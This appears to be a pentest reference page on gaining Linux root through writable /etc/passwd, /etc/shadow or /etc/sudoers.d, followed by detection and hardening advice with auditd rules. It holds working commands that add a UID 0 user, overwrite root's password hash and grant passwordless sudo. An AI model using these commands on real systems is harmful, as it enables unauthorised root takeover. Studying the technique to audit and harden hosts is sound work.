Writable /etc/passwd or /etc/shadow
TL;DR: When
/etc/passwdor/etc/shadowis world-writable (or writable by your group), append a UID 0 entry with a password you control andsuto root.
What it is
On Linux, user accounts are defined in /etc/passwd and password hashes (since shadow-utils) live in /etc/shadow. Both must be writable only by root. Permission drift — bad packaging, a sloppy chmod -R on /etc, an admin restoring a backup with wrong perms, a container that bind-mounts /etc with rw and 0666 — turns these files into a one-line privesc.
Preconditions / where it applies
- A local shell on a Linux host
- Either
/etc/passwdwritable (works even without shadow) or/etc/shadowwritable suand a working hash function (openssl,python3 -c 'import crypt; ...',mkpasswd, or copy a known hash)
Technique
Step 1 — verify:
1
2
3
4
5
6
7
ls -la /etc/passwd /etc/shadow
# -rw-rw-rw- 1 root root 1582 ... /etc/passwd ← jackpot
# -rw-r----- 1 root shadow 998 ... /etc/shadow
# Or sometimes it's the group:
id
# uid=1001(user) gid=1001(user) groups=1001(user),42(shadow)
Vector A — writable /etc/passwd. Historically every system kept the password hash in /etc/passwd. If the second field is non-empty and a valid crypt hash, it still works as a fallback (login(1) checks passwd before shadow on most distros if shadow is missing/unreadable for that user). Add a new root-equivalent user:
1
2
3
4
5
6
7
8
9
10
11
# Generate a crypt-style hash
openssl passwd -1 -salt xyz pwn123
# $1$xyz$Ph7nFvb5...
# Append the user
echo 'pwn:$1$xyz$Ph7nFvb5...:0:0:root:/root:/bin/bash' >> /etc/passwd
su pwn
# password: pwn123
# id
# uid=0(root) ...
UID 0 + GID 0 is the trick — login name doesn’t matter.
Vector B — writable /etc/shadow. Update the root hash instead of adding a user:
1
2
3
4
5
6
7
8
mkpasswd -m sha-512 pwn123
# $6$<salt>$<hash>...
# Replace the second field on the root line in /etc/shadow
sed -i 's|^root:[^:]*:|root:$6$<salt>$<hash>:|' /etc/shadow
su root
# password: pwn123
Vector C — writable /etc/sudoers.d/. Same impact, often easier to spot. Drop a file:
1
2
echo "$(id -un) ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/zz_admin
sudo -i
sudo requires sudoers files mode 0440 root:root — drop with the right perms or chmod after.
Vector D — group shadow membership without file write. Members of group shadow can read /etc/shadow (but not write). Read root’s hash, run hashcat/john offline; if the hash is weak you crack it and su. Treat group shadow like group wheel for impact triage.
Sanity check before destructive edits: make a backup (cp /etc/passwd /tmp/passwd.bak) — corrupt passwd locks the system out of new logins immediately. Use >> not >.
Detection and defence
- Default perms:
/etc/passwd644 root:root,/etc/shadow640 root:shadow chattr +ion/etc/passwdand/etc/shadowin high-value hosts (note: blocks legitimatepasswd(1)until cleared)- File-integrity monitoring (AIDE, Tripwire, OSSEC); auditd watch:
1 2 3
-w /etc/passwd -p wa -k passwd_mod -w /etc/shadow -p wa -k shadow_mod -w /etc/sudoers.d/ -p wa -k sudoers
- EDR: alert on appended UID 0 lines in
/etc/passwd; new files in/etc/sudoers.d/ - Container images: don’t bake writable
/etcinto builds; reviewchmod -Rcalls in Dockerfiles
References
- shadow(5) — file format reference
- HackTricks — Writable /etc — full recipe
- PayloadsAllTheThings — Linux privesc — payload catalogue
Related: sudo-misconfig, nfs-no-root-squash, linux-privesc-vectors.